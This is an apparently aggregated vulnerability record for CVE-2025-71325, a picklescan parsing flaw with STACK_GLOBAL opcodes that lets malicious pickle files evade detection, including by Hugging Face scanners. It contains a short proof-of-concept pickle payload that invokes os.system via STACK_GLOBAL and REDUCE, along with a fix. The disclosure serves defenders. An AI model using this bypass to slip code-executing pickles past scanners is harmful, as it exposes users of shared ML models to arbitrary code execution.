{"id":"CVE-2025-71325","aliases":["CVE-2025-71325","GHSA-9gvj-pp9x-gcfr","PYSEC-2026-1788"],"related":[],"kind":"vulnerability","state":"published","title":"picklescan - Detection Bypass via STACK_GLOBAL Opcode Parsing Logic Flaw","summary":"picklescan before 0.0.27 contains a parsing logic error in the _list_globals function when handling STACK_GLOBAL opcodes, failing to track arguments in the correct range and allowing malicious pickle files to bypass detection. Attackers can craft pickle files with arguments at position zero to trigger unexpected exceptions and evade security scanning.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"picklescan before 0.0.27 contains a parsing logic error in the _list_globals function when handling STACK_GLOBAL opcodes, failing to track arguments in the correct range and allowing malicious pickle files to bypass detection. Attackers can craft pickle files with arguments at position zero to trigger unexpected exceptions and evade security scanning.","source":"cvelist"},{"lang":"en","text":"### Details\nThere's a parsing logic error in picklescan and modelscan while trying to deal with opcode `STACK_GLOBAL`.\nFunction `_list_globals` when handling `STACK_GLOBAL` at position `n`, it is expected to track two arguments but in wrong range. The loop only consider the range from `1` to `n-1` but forgets to consider the opcode at position `0`. The correct range should be `0` to `n-1`. Attacker can put arg in position `0`, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.\n\nExample:\n```\n    0: S    STRING     'os' --> arg 0: STRING (untracked argument due to wrong scanning range)\n    6: S    STRING     'system' --> arg 1: STRING (tracked argument)\n   16: \\x93 STACK_GLOBAL\n   17: S    STRING     'ls'\n   23: \\x85 TUPLE1\n   24: R    REDUCE\n   25: .    STOP\n```\n\n\n### PoC\n``` python\nimport pickle\npayload = b\"S'os'\\nS'system'\\n\\x93S'ls'\\n\\x85R.\"\nwith open('bad_pickle.pkl', 'wb') as f:\n    f.write(payload)\npickle.load(open('bad_pickle.pkl', 'rb'))\n```\n\n### Impact\nDetection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection. \n\n### Fix\nTo fix the range here, change `range(1, n)` to `range(1, n+1)` to ensure that `n-offset` stays within the range of `0` to `n`.\nhttps://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255","format":"markdown","source":"ghsa"},{"lang":"es","text":"picklescan anterior a la 0.0.27 contiene un error de lógica de análisis en la función _list_globals al manejar opcodes STACK_GLOBAL, fallando en rastrear argumentos en el rango correcto y permitiendo que archivos pickle maliciosos eludan la detección. Los atacantes pueden elaborar archivos pickle con argumentos en la posición cero para desencadenar excepciones inesperadas y evadir el escaneo de seguridad.","source":"nvd"}],"published":"2025-08-12T00:13:55.000Z","modified":"2026-11-08T14:00:26.179Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"}],"cwes":["CWE-391","CWE-502"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"0.0.27","status":"affected"},{"type":"semver","version":"0.0.27","status":"unaffected"}],"vendor":"picklescan","product":"picklescan","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.0.27"}],"ecosystem":"PyPI","package":"picklescan","purl":"pkg:pypi/picklescan","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.0.27"}],"ecosystem":"PyPI","package":"picklescan","purl":"pkg:pypi/picklescan","source":"pysec"}],"references":[{"url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9gvj-pp9x-gcfr","tags":["exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/mmaitre314/picklescan/commit/2a8383cfeb4158567f9770d86597300c9e508d0f","tags":["patch","web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://www.vulncheck.com/advisories/picklescan-detection-bypass-via-stack-global-opcode-parsing-logic-flaw","tags":["third-party-advisory","web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71325","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/mmaitre314/picklescan/commit/58983e1c20973ac42f2df7ff15d7c8cd32f9b688","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/mmaitre314/picklescan","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/mmaitre314/picklescan/releases/tag/v0.0.27","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/picklescan","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-9gvj-pp9x-gcfr","tags":["advisory"],"sources":["pysec"]}],"credits":["Lyutoon"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-06-17T17:27:40.928Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-71325","url":"https://www.cve.org/CVERecord?id=CVE-2025-71325","licence":"CVE Terms of Use","modified":"2026-11-08T14:00:26.179Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-9gvj-pp9x-gcfr","url":"https://github.com/advisories/GHSA-9gvj-pp9x-gcfr","licence":"CC-BY-4.0","modified":"2026-07-07T17:56:08.463Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-71325","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71325","licence":"Public domain","modified":"2026-10-12T22:10:00.247Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-1788","url":"https://osv.dev/vulnerability/PYSEC-2026-1788","licence":"CC-BY-4.0","modified":"2026-07-07T17:48:02.274Z"}],"updatedAt":"2026-11-25T22:59:12.328Z","epss":{"score":0.00604,"percentile":0.50258,"date":"2026-12-01T12:00:22.000Z"}}